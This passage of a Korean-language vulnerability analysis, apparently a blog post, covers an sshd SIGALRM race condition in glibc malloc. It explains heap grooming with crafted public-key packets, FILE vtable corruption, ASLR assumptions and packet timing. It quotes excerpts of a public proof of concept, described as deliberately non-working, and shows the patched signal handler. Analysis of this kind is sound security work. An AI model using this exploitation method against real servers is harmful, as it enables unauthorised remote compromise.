/* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1];
_IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
struct _IO_FILE_complete { struct _IO_FILE _file; #endif __off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void _freeres_buf; size_t __pad5; int _mode; / Make sure we don’t get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; };
</div></details>
<details><summary>libio.h:_IO_codecvt</summary><div markdown="1">```cstruct _IO_codecvt{ _IO_iconv_t __cd_in; _IO_iconv_t __cd_out;};libio.h:_IO_iconv_t
gconv.h:__gconv_step
/* For internal use by glibc. (Accesses to this member must occur when the internal __gconv_lock mutex is acquired). */ int __counter;
char *__from_name; char *__to_name;
__gconv_fct __fct; __gconv_btowc_fct __btowc_fct; __gconv_init_fct __init_fct; __gconv_end_fct __end_fct;
/* Information about the number of bytes needed or produced in this step. This helps optimizing the buffer sizes. */ int __min_needed_from; int __max_needed_from; int __min_needed_to; int __max_needed_to;
/* Flag whether this is a stateful encoding or not. */ int __stateful;
void __data; / Pointer to step-local data. */ };
</div></details>
<details><summary>iconv/gconv.h:__gconv_fct</summary><div markdown="1">```c/* Type of a conversion function. */typedef int (*__gconv_fct) (struct __gconv_step *, struct __gconv_step_data *, const unsigned char **, const unsigned char *, unsigned char **, size_t *, int, int);Exploit strategy
SIGALRM에 의해서 어떻게 Exploit을 달성하는지 알아봅시다.
1449 #define set_head(p, s) ((p)->mchunk_size = (s))------------------------------------------------------------------------3765 _int_malloc (mstate av, size_t bytes)3766 {....3798 nb = checked_request2size (bytes);....4295 size = chunksize (victim);....4300 remainder_size = size - nb;....4316 remainder = chunk_at_offset (victim, nb);....4320 bck = unsorted_chunks (av);4321 fwd = bck->fd;....4324 remainder->bk = bck;4325 remainder->fd = fwd;4326 bck->fd = remainder;4327 fwd->bk = remainder;....4337 set_head (victim, nb | PREV_INUSE |4338 (av != &main_arena ? NON_MAIN_ARENA : 0));4339 set_head (remainder, remainder_size | PREV_INUSE);....4343 void *p = chunk2mem (victim);....4345 return p;malloc에서 4327행이 실행된 이후에 4339행 이전이 실행되기전 SIGALRM에 의해 malloc이 중단되는 경우를 이용합니다.
그렇게되면 remainder가 쪼개졌지만 크기는 갱신되지 않은 상태로 unsorted 리스트에 연결되게 됩니다. 이때의 크기 필드값은 갱신되지 않았기 때문에
이전에 이 청크를 할당받은 데이터가 그대로 남아있어 해당 값이 크기 데이터로 사용되게 됩니다. 이렇게하여 커진 remainder chunk의 크기는 뒷쪽을 덮어쓸 수 있을만큼 커질 수 있습니다.
이를 악용하는 흐름은 다음과 같습니다.

Large hole(8KB 크기의 free된 청크)와small hole(320B크기의free된 청크)가 존재합니다.4KB크기의 청크를 요청하여Large hole을 두 개의 청크로 나누도록 유도합니다.- 이때 해당 작업에 의해
Large hole이 두 개의 청크로 나뉘어진 뒤 위의4339행이 실행되기전에SIGALRM에 의해서malloc의 처리가 중단됩니다. - 이렇게 처리가 중단된
free remainder청크의 크기는 이전 값에 의해서 결정됩니다. remainder의 크기가 갱신되지 않고 이전 값(찌거기 값)에 의해서 크기가 증가했기 때문에 청크는 뒤의small hole까지 겹치게됩니다.
- 이때 해당 작업에 의해
SIGARLM의syslog에서 앞서 알아본 흐름에 의해fopen을 호출해FILE구조체가small hole에 할당됩니다.- 이는 앞선 처리에 의해
remainder청크와 겹치는 영역이 됩니다.
- 이는 앞선 처리에 의해
- 인위적으로 증가한
remainder청크는fopen이후의__fread_unlocked에서4KB read buffer를 할당받는 과정에서 한번 더 쪼개지게됩니다. - remainder 청크가 기록되고 FILE의
_vtable_offset멤버가 remainder 청크의 bk 필드의 3번째 바이트로 덮어씌워지게됩니다.(0x61)- 이때
FILE구조체의_codevt멤버는glibc의malloc빈 중 하나를 가리키게 덮어씌워집니다. - 이때의 가정은 해당 주소를 모두 공격자가 안다고 가정합니다.
- 이때
위의 설명만 봐도 엄청나게 까다로운 조건이 있다는 것을 알 수 있습니다. 이런 까다로운 조건들을 다시 정리해보면 다음과 같습니다.
- 공격을 성공시키기 위해선
glibcFILE구조체의_vtable_offset이 활성화 되어있어야 하기 때문에 현재 정리된 글에선 i386 glibc만 가능합니다. - 또한 i386 sshd의 메모리가
0xb7200000또는0xb7400000에만 매핑된다는 점을 악용합니다.- 이를 이용해
ASLR을 최대한 우회하고 이미 알고 있는 주소를 활용합니다.
- 이를 이용해
- 앞선 언급과 같이 이미 주소값들을 알고 있다는 가정으로 시작을 하기 때문에
_vtable_offset을 덮어쓸 때 쓰는bk값 역시0xb761d7f8로 고정입니다.- 해당 값의 3번째 바이트 값이
0x61이므로_vtable_offset이0x61로 오염된다고 가정할 수 있습니다.
- 해당 값의 3번째 바이트 값이
FILE을 덮어쓰기 위해 정확한 타이밍에 위 레이아웃을 달성한 상태로malloc의 수행 중에SIGALRM이 발생해야합니다.
위와 같은 시나리오를 성공적으로 달성하기 위해 실험에서는 다음과 같은 레이아웃을 구상하여 레이스 컨디션에서 목적을 달성하려합니다.

힙 레이아웃을 어떻게 이렇게 만들까요? 다음 함수들을 이용합니다.
1754 cert_parse(struct sshbuf *b, struct sshkey *key, struct sshbuf *certbuf)1755 {....1797 while (sshbuf_len(principals) > 0) {....1805 if ((ret = sshbuf_get_cstring(principals, &principal,....1820 key->cert->principals[key->cert->nprincipals++] = principal;1821 }------------------------------------------------------------------------ 562 cert_free(struct sshkey_cert *cert) 563 { ... 572 for (i = 0; i < cert->nprincipals; i++) 573 free(cert->principals[i]);함수 명에서도 볼 수 있듯 공개 키 파싱 코드를 악용해서 위의 힙 레이아웃을 만들게됩니다. 이때 cert_parse의 1805행에 위치한 sshbuf_get_cstring과 cert_free의 573행에 위치한 free를 이용합니다.
sshbuf_get_cstring은 다음과 같이 malloc을 사용합니다.
intsshbuf_get_cstring(struct sshbuf *buf, char **valp, size_t *lenp){ size_t len; const u_char *p, *z; int r;
if (valp != NULL) *valp = NULL; if (lenp != NULL) *lenp = 0; if ((r = sshbuf_peek_string_direct(buf, &p, &len)) != 0) return r; /* Allow a \0 only at the end of the string */ if (len > 0 && (z = memchr(p , '\0', len)) != NULL && z < p + len - 1) { SSHBUF_DBG(("SSH_ERR_INVALID_FORMAT")); return SSH_ERR_INVALID_FORMAT; } if ((r = sshbuf_skip_string(buf)) != 0) return -1; if (valp != NULL) { if ((*valp = malloc(len + 1)) == NULL) { SSHBUF_DBG(("SSH_ERR_ALLOC_FAIL")); return SSH_ERR_ALLOC_FAIL; } if (len != 0) memcpy(*valp, p, len); (*valp)[len] = '\0'; } if (lenp != NULL) *lenp = (size_t)len; return 0;}위에서 알아본 힙 레이아웃을 달성하기 위해서 sshd에 다음과 같은 5개의 서로 다른 공개 키 패킷을 전송합니다.
- a :
tcache크기의 청크를malloc하고free하기 위한 패킷 - b : 다양한 크기(
~8KB,320B hole)의 청크를malloc하고free하여 27개의large hole,small hole쌍을 만들기 위한 패킷 - c : 이미
free된 청크들이 익스플로잇에서 조작된 값을 사용할 수 있게 미리 값들을 세팅해두는 패킷remainder의 크기를 크게 만들 가짜 헤더를 중간에 기록glibc의 보안 검사를 통과하기 위한footer를small hole끝 부분에 기록fake vtable과_codecvt포인터를small hole에 기록
- d : 앞서
free한 청크들이unsorted bin에서 각각의large bin과small bin에 배치될 수 있도록 하는 패킷 - e : 27개의 쌍을 이용해 레이스 컨디션을 수행하기 위한 패킷(앞서 알아본 힙 레이아웃 조작을 위한 시퀀스 수행 :
malloc(~4KB),malloc(304),malloc(~4KB), malloc(304))
Timing strategy
여러 제약 사항 때문에 결과적으로 다음과 같은 함수에서 시간을 측정하여 패킷 전송 타이밍을 맞추게됩니다.
88 userauth_pubkey(struct ssh *ssh, const char *method) 89 {...138 if (pktype == KEY_UNSPEC) {139 /* this is perfectly legal */140 verbose_f("unsupported public key algorithm: %s", pkalg);141 goto done;142 }143 if ((r = sshkey_from_blob(pkblob, blen, &key)) != 0) {144 error_fr(r, "parse key");145 goto done;146 }...151 if (key->type != pktype) {152 error_f("type mismatch for decoded key "153 "(received %d, expected %d)", key->type, pktype);154 goto done;155 }- 공개 키 패킷 중
pktype에 오류가 발생하게끔 데이터를 설정해 138~142행에서 패킷 오류가 발생하게 합니다. - 두 번째로 공개 키 패킷 중
key->type에 오류가 발생하게끔 데이터를 설정해 151~155행에서 패킷 오류가 발생하게 합니다. - 이때 143행에 존재하는
sshkey_from_blob은 공개키를 파싱하는 함수로 위에서 알아본 양옆에있는 두 함수의 응답 시간의 차가sshd가 공개 키를 파싱하는 데 걸리는 시간이 됩니다. - 이를 통해 마지막 패킷의 전송시간을 조절합니다.
sshkey_from_blob은 다음과 같은 흐름으로 cert_parse를 호출합니다.
sshkey.c:sshkey_from_blob
if ((b = sshbuf_from(blob, blen)) == NULL) return SSH_ERR_ALLOC_FAIL;r = sshkey_from_blob_internal(b, keyp, 1);sshbuf_free(b);return r;}
</div></details>
<details><summary>sshkey.c:sshkey_from_blob_internal</summary><div markdown="1">```cstatic intsshkey_from_blob_internal(struct sshbuf *b, struct sshkey **keyp, int allow_cert){ int type, ret = SSH_ERR_INTERNAL_ERROR; char *ktype = NULL; struct sshkey *key = NULL; struct sshbuf *copy; const struct sshkey_impl *impl;
#ifdef DEBUG_PK /* XXX */ sshbuf_dump(b, stderr);#endif if (keyp != NULL) *keyp = NULL; if ((copy = sshbuf_fromb(b)) == NULL) { ret = SSH_ERR_ALLOC_FAIL; goto out; } if (sshbuf_get_cstring(b, &ktype, NULL) != 0) { ret = SSH_ERR_INVALID_FORMAT; goto out; }
type = sshkey_type_from_name(ktype); if (!allow_cert && sshkey_type_is_cert(type)) { ret = SSH_ERR_KEY_CERT_INVALID_SIGN_KEY; goto out; } if ((impl = sshkey_impl_from_type(type)) == NULL) { ret = SSH_ERR_KEY_TYPE_UNKNOWN; goto out; } if ((key = sshkey_new(type)) == NULL) { ret = SSH_ERR_ALLOC_FAIL; goto out; } if (sshkey_type_is_cert(type)) { /* Skip nonce that preceeds all certificates */ if (sshbuf_get_string_direct(b, NULL, NULL) != 0) { ret = SSH_ERR_INVALID_FORMAT; goto out; } } if ((ret = impl->funcs->deserialize_public(ktype, b, key)) != 0) goto out;
/* Parse certificate potion */ if (sshkey_is_cert(key) && (ret = cert_parse(b, key, copy)) != 0) goto out;
if (key != NULL && sshbuf_len(b) != 0) { ret = SSH_ERR_INVALID_FORMAT; goto out; } ret = 0; if (keyp != NULL) { *keyp = key; key = NULL; } out: sshbuf_free(copy); sshkey_free(key); free(ktype); return ret;}사실상 위에서 알아본 제약 사항 때문에 해당 취약점을 이용하는 것은 많이 힘들어보입니다. 또한 환경에 대한 제약 역시 큽니다. 이제 PoC를 확인해봅시다.
PoC Analysis
PoC가 현재 공개된 상태지만 의도적으로 해당 PoC는 작동하지않게 작성되어있습니다.

PoC는 앞서 알아본 다음과 같은 순서로 패킷을 전송합니다.
- a :
tcache크기의 청크를malloc하고free하기 위한 패킷 - b : 다양한 크기(
~8KB,320B hole)의 청크를malloc하고free하여 27개의large hole,small hole쌍을 만들기 위한 패킷 - c : 이미
free된 청크들이 익스플로잇에서 조작된 값을 사용할 수 있게 미리 값들을 세팅해두는 패킷remainder의 크기를 크게 만들 가짜 헤더를 중간에 기록glibc의 보안 검사를 통과하기 위한footer를small hole끝 부분에 기록fake vtable과_codecvt포인터를small hole에 기록
- d : 앞서
free한 청크들이unsorted bin에서 각각의large bin과small bin에 배치될 수 있도록 하는 패킷 - e : 27개의 쌍을 이용해 레이스 컨디션을 수행하기 위한 패킷(앞서 알아본 힙 레이아웃 조작을 위한 시퀀스 수행 :
malloc(~4KB),malloc(304),malloc(~4KB), malloc(304))
PoC에서 역시 glibc를 다음과 같은 두 개의 주소중 하나라고 가정합니다.
// Possible glibc base addresses (for ASLR bypass)uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);main 함수의 핵심적인 부분을 살펴봅시다.
intmain (int argc, char *argv[]){ ... prepare_heap (sock); time_final_packet (sock, &parsing_time);
if (attempt_race_condition (sock, parsing_time, glibc_base)) { printf ("Possible exploitation success on attempt %d with glibc " "base 0x%lx!\n", attempt, glibc_base); success = 1; break; }}위에 나타난 함수들 중 prepare_heap 함수에서 a~d의 역할을 하는 패킷들이 전송됩니다.
voidprepare_heap (int sock){ // Packet a: Allocate and free tcache chunks for (int i = 0; i < 10; i++) { unsigned char tcache_chunk[64]; memset (tcache_chunk, 'A', sizeof (tcache_chunk)); send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk)); // These will be freed by the server, populating tcache }
// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes for (int i = 0; i < 27; i++) { // Allocate large chunk (~8KB) unsigned char large_hole[8192]; memset (large_hole, 'B', sizeof (large_hole)); send_packet (sock, 5, large_hole, sizeof (large_hole));
// Allocate small chunk (320B) unsigned char small_hole[320]; memset (small_hole, 'C', sizeof (small_hole)); send_packet (sock, 5, small_hole, sizeof (small_hole)); }
// Packet c: Write fake headers, footers, vtable and _codecvt pointers for (int i = 0; i < 27; i++) { unsigned char fake_data[4096]; create_fake_file_structure (fake_data, sizeof (fake_data), GLIBC_BASES[0]); send_packet (sock, 5, fake_data, sizeof (fake_data)); }
// Packet d: Ensure holes are in correct malloc bins (send ~256KB string) unsigned char large_string[MAX_PACKET_SIZE - 1]; memset (large_string, 'E', sizeof (large_string)); send_packet (sock, 5, large_string, sizeof (large_string));}prepare_heap이 완료되면 time_final_paket 함수를 통해서 공개키가 파싱되는 타이밍을 알아냅니다.
voidtime_final_packet (int sock, double *parsing_time){ double time_before = measure_response_time (sock, 1); double time_after = measure_response_time (sock, 2); *parsing_time = time_after - time_before;
printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);}위에서 알아낸 타이밍을 기반으로 레이스 컨디션을 수행합니다.
...attempt_race_condition (sock, parsing_time, glibc_base)...Patch
sshd.c에 위치한 grace_alarm_handler 함수가 sshd-session.c로 옮겨가며 다음과 같이 코드가 수정되었습니다.
/* * Signal handler for the alarm after the login grace period has expired. * As usual, this may only take signal-safe actions, even though it is * terminal. */static voidgrace_alarm_handler(int sig){ /* * Try to kill any processes that we have spawned, E.g. authorized * keys command helpers or privsep children. */ if (getpgid(0) == getpid()) { struct sigaction sa;
/* mask all other signals while in handler */ memset(&sa, 0, sizeof(sa)); sa.sa_handler = SIG_IGN; sigfillset(&sa.sa_mask); sa.sa_flags = SA_RESTART; (void)sigaction(SIGTERM, &sa, NULL); kill(0, SIGTERM); } _exit(EXIT_LOGIN_GRACE);}